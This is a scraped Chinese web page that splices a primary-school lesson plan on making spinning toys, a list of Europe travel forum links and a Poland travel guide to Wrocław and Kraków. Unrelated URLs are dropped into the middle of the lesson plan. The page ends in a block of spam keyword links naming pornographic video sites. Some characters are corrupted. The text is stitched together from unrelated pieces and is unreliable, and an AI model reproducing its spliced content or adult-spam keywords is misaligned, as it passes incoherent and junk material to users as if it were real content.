            師:大家一起傳著看一看,玩一玩?。ㄐ〗M玩)

            師:這兩個玩具有什么共同特點?

            它們都會——

            生:會轉(zhuǎn)!

            師:對了。它們都是會轉(zhuǎn)的玩具。那想不想自己動手做一個?(揭題)

            二、 認識手工制作的會轉(zhuǎn)的玩具

            師:請你和組員一起把它拆開看一看,研究一下。

            生:動手拆,并總結(jié)。

            師:你們真仔細,誰來說說風車有機部分組成?。

            生:風車頭和小棒

            師:好,那這個玩具光禿禿的好看嗎?怎樣打扮一下?

            生:……

          師:說的好,同學們自己都能總結(jié)出簡單的制作方法了,接下來請你帶著連個問題跟我一起來看看具體的制作步驟。

          1、 風車的制作步驟。

          2、 制作過程中應(yīng)該注意的問題。

            生:觀看,總結(jié)。(邊框可以剪成花邊,畫上花紋,里面內(nèi)容可以畫、剪貼,

            可以平面、立體,一個有軸)

            師:欣賞風車作品。

            生:……

            三、 學生動手設(shè)計制作

            師:我看到有的小朋友手都開始癢癢了,每組至少做兩個好玩、好看又有創(chuàng)意的會轉(zhuǎn)的玩具,那就要看哪個小組能發(fā)揚團結(jié)合作的精神,組長要分工好,材料得大家一塊兒用。比一比哪一組做得最快、最好。好!準備——開始!https://www.renjiaoshe.com/jiaocai/380.html

            (及時解決制作過程中遇到的問題,及時表揚有創(chuàng)意的學生,讓學生試著轉(zhuǎn)轉(zhuǎn))

            四、 玩一玩自己做的玩具。

            五、 作業(yè) 評價

            1、讓學生評出最佳合作獎、創(chuàng)意獎、巧手獎。

            2、整理桌子

            今天你們做得都很棒,可原先整潔的教室被我們弄臟了,我們以最快的速度整理干凈,比一比哪組最快。

            六、 課后拓展

          出示用兩個不同的風車  

          師:再看看這個玩具是用什么做的?https://www.shimengyuan.com/nianji/715.html

            生:……

            師:它是用什么材料的?

            生:…

            這個玩具是怎么做的呢?請你課后研究它的制作方法。

            師:課后請你們利用廢舊材料做一個會轉(zhuǎn)的玩具,可以自己玩,也可以作為禮物送給你的弟弟和妹妹。

          前的歐洲游記:

          格調(diào)·捷克,http://bbs.qyer.com/thread-2514238-1.html

          視界·意大利:托斯卡納的正確打開方式,http://bbs.qyer.com/thread-2504727-1.html

          立陶宛兩日游:夏日狂歡,http://bbs.qyer.com/thread-2493161-1.html

          窮游愛爾蘭+ 北愛爾蘭,http://bbs.qyer.com/thread-875187-1.html

          重游愛爾蘭,http://bbs.qyer.com/thread-1348501-1.html

          閃游兩牙,牙牙精彩,http://bbs.qyer.com/thread-1089878-1.html

          [荷比] 風車, 羊角, 郁金香? 一個都不能少 (外加亂走布魯塞爾),http://bbs.qyer.com/thread-1089565-1.html

          東歐多國:荷 · 德 · 捷 · 奧 · 匈 · 克羅地亞·斯洛伐克·斯洛文尼亞·拉脫維亞,http://bbs.qyer.com/thread-988092-1.html

          跳跳游,威尼斯|佛羅倫薩|比薩|羅馬|龐貝| 阿爾瑪菲 |梵蒂岡,http://bbs.qyer.com/thread-927375-1.html

          冬游記 (意大利,法國,西班牙,摩納哥,捷克,羅馬尼亞),http://bbs.qyer.com/thread-1065258-1.html

          羅馬尼亞:冬天的童話,http://bbs.qyer.com/thread-1119491-1.html

          美圖大賞·點贊哦!

          波蘭

          波蘭共和國(波蘭語:Rzeczpospolita Polska,英語:The Republic Of Poland,中文簡稱:波蘭),古稱孛烈兒,是一個由16個省組成的民主共和制國家。波蘭是中歐國家,東與烏克蘭及白俄羅斯相連,東北與立陶宛及俄羅斯接壤,西與德國接壤,南與捷克和斯洛伐克為鄰,北面瀕臨波羅的海。波蘭具有迥異的東歐風情。每年的5~9月是波蘭最美麗的時候,天氣溫暖而陽光明媚,9月被譽為“波蘭金色秋天”的開始。7~9月是波蘭的旅游旺季。

          這個國家真是飽經(jīng)風霜,歷史上曾是歐洲強國,后國力衰退,并于俄普奧三次瓜分波蘭中亡國幾個世紀,一戰(zhàn)后復(fù)國,但不久又在二戰(zhàn)中被蘇聯(lián)和德國瓜分,冷戰(zhàn)時期處于蘇聯(lián)勢力范圍之下,蘇聯(lián)解體后,加入歐盟和北約,近年來波蘭無論在歐盟還是在國際舞臺的地位亦與日俱增,自1918年11月11日恢復(fù)獨立以來,經(jīng)過90年的發(fā)展變遷,特別是在21世紀初的幾年里,波蘭在歐洲的重要性越來越引人重視。

          交通

          波蘭火車

          http://www.polrail.com/enhttp://www.intercity.pl/pl/

          波蘭的大巴

          http://www.polskibus.com/enhttp://www.link-bus.com/pl/

          波羅的海的大巴(連通波蘭、立陶宛、波羅的海國家)

          http://ecolines.net

          http://www.luxexpress.eu/en

          弗羅茨瓦夫Wroclaw

          波蘭語:Wroc?aw;德語:Breslau,中文譯為布雷斯勞;捷克語:Vratislav;拉丁語:Wratislavia 或 Vratislavia)是波蘭城市,位于波蘭西南部的奧得河畔,南面是西里西亞丘陵地帶。奧得河流經(jīng)市區(qū)的河段形成數(shù)座小島,自1999年起是下西里西亞省的省會。該市人口約為635,800人(2005年),列 波蘭第四大城(次于華沙、羅茲和克拉科夫),同時也是波蘭僅次于華沙的第二大金融中心,在經(jīng)濟、文化、交通等諸多方面都在波蘭具有相當重要的地位。弗羅茨瓦夫傳統(tǒng)上是西里西亞工業(yè)區(qū)的核心城市。目前弗羅茨瓦夫的經(jīng)濟地位雖然不及二戰(zhàn)以前,已經(jīng)遠遠落后于昔日與之規(guī)模大致相當?shù)哪侥岷诨蚍ㄌm克福,但在波蘭,該市仍然屬于經(jīng)濟發(fā)展最快的城市之一,經(jīng)濟規(guī)模在波蘭城市中僅次于首都華沙。

          樓主來這里只是過路,半日游而已

          這里滿地都是小矮人雕塑,散落在城市的不同地方,要仔細找找啦

          市政廳附近的建筑、教堂和房子可以看一看

          另外比較精彩的就是座堂島,必去!

          克拉科夫Krakow

          很漂亮的城鎮(zhèn),當然,游客也經(jīng)常停留在這里,多留出一天從這里去集中營

          克拉科夫(Kraków,又稱Cracow)克拉科夫全稱克拉科夫皇家首都(波蘭語:Królewskie Sto?eczne Mias),是克拉科夫省首府,直轄市。它位于維斯瓦河上游兩岸,。建于700年前后,是中歐最古老的城市之一,為維斯瓦族的故鄉(xiāng)。1320~1609年為波蘭首都??死品驓v來是波蘭學術(shù)的主要中心之一,文化和藝術(shù)生活,是波蘭最重要的經(jīng)濟中心之一。被認為是歐洲最美麗的城市之一。2000年,克拉科夫被任命為歐洲文化之都。這座城市還將主辦下屆2016年世界青年日。

          克拉科夫是波蘭第三大城市,歷史上波蘭的故都。文藝復(fù)興時期,波蘭是歐洲東部最繁榮、最強大的國家。由于能夠從立陶宛和俄羅斯那里接觸到蒙古和中原文化的先進知識,波蘭在很長時間內(nèi)保持著歐洲最先進的國家的美譽。而克拉科夫則是歐洲文化和科學的中心。著名的天文學家哥白尼就曾在克拉科夫大學接受教育。

          克拉科夫一直被旅游雜志稱為新布拉格,這座文學氣息很濃厚的城市,看過那么多的著名的歐洲廣場,總是擠滿了招攬游客的精品點餐館等,但在Rynek Glowny廣場南邊就有一棟4層樓高的Empik書店,實屬罕見,可見克拉科夫人對閱讀的熱愛。城市內(nèi)有11所高等學校,其中雅蓋隆大學最為著名。這里也是波蘭古跡最為集中的地方,為波蘭最大的旅游城市之一,每年游客達200多萬人。建于700年前后,是中歐最古老的城市之一,為維斯瓦族的故鄉(xiāng)。1320~1609年為波蘭首都。維斯瓦河穿過城市。老城在河北岸,有保存完好的古城墻環(huán)繞。旅游波蘭不見得一定要到華沙,但是絕不能錯過克拉科夫??死品蚴侵惺兰o歐洲首都的一個范例,從單一城堡發(fā)展為充滿活力的兩個新興城市這是克拉科夫獨具一格的城市發(fā)展特色。市內(nèi)古典的建筑物,彌漫著中世紀的風情,被譽為波蘭最美麗的城市。波蘭王朝于1038年建都于克拉科夫,14至16世紀全盛時期期間,與布拉格和維也納鼎足而立,是中歐三大文化中心。二次大戰(zhàn)期間,波蘭全境陷入戰(zhàn)火,僅有克拉科夫悻免于難,完整保存了中世紀的舊城光華,因此聯(lián)合國科文教組UNESCO在1978年把克拉科的舊城區(qū)列為世界文化遺產(chǎn)之一。克拉科夫為波蘭的第三大城,是波蘭的文化重鎮(zhèn)。

          整個城市最美的就是瓦維爾城堡Wawel Castle

          選擇在這里拍婚紗照的很多


          主站蜘蛛池模板: 一区二区三区在线观看| 国产一区二区三区露脸| 日韩人妻无码一区二区三区久久| 无码福利一区二区三区| 国产精品第一区第27页| 国产成人免费一区二区三区| 极品人妻少妇一区二区三区| 亚洲国产视频一区| 亚洲一区二区久久| 亚洲AV一区二区三区四区| 精品无码人妻一区二区免费蜜桃| 国产精品视频一区二区噜噜| 波多野结衣的AV一区二区三区 | 一区二区网站在线观看| 四虎永久在线精品免费一区二区| 中文字幕一区精品| 海角国精产品一区一区三区糖心| 日韩一区二区精品观看| 久久久久人妻一区二区三区vr| 亚洲AV无码一区二区三区性色 | 国产激情з∠视频一区二区| 中文字幕一区日韩在线视频| 国产一区二区三区在线视頻| 综合无码一区二区三区| 国产香蕉一区二区精品视频| 亚洲丰满熟女一区二区v| 亚洲国模精品一区| 中文人妻无码一区二区三区| 国产一区二区三区精品视频| 污污内射在线观看一区二区少妇| A国产一区二区免费入口| 精品欧洲av无码一区二区三区| 蜜桃视频一区二区三区在线观看 | 成人无码精品一区二区三区| 性色av无码免费一区二区三区| 亚洲日韩中文字幕无码一区| 国产精品99精品一区二区三区| 亚洲综合色一区二区三区小说| 久久久人妻精品无码一区| 99精品久久精品一区二区| 麻豆AV一区二区三区|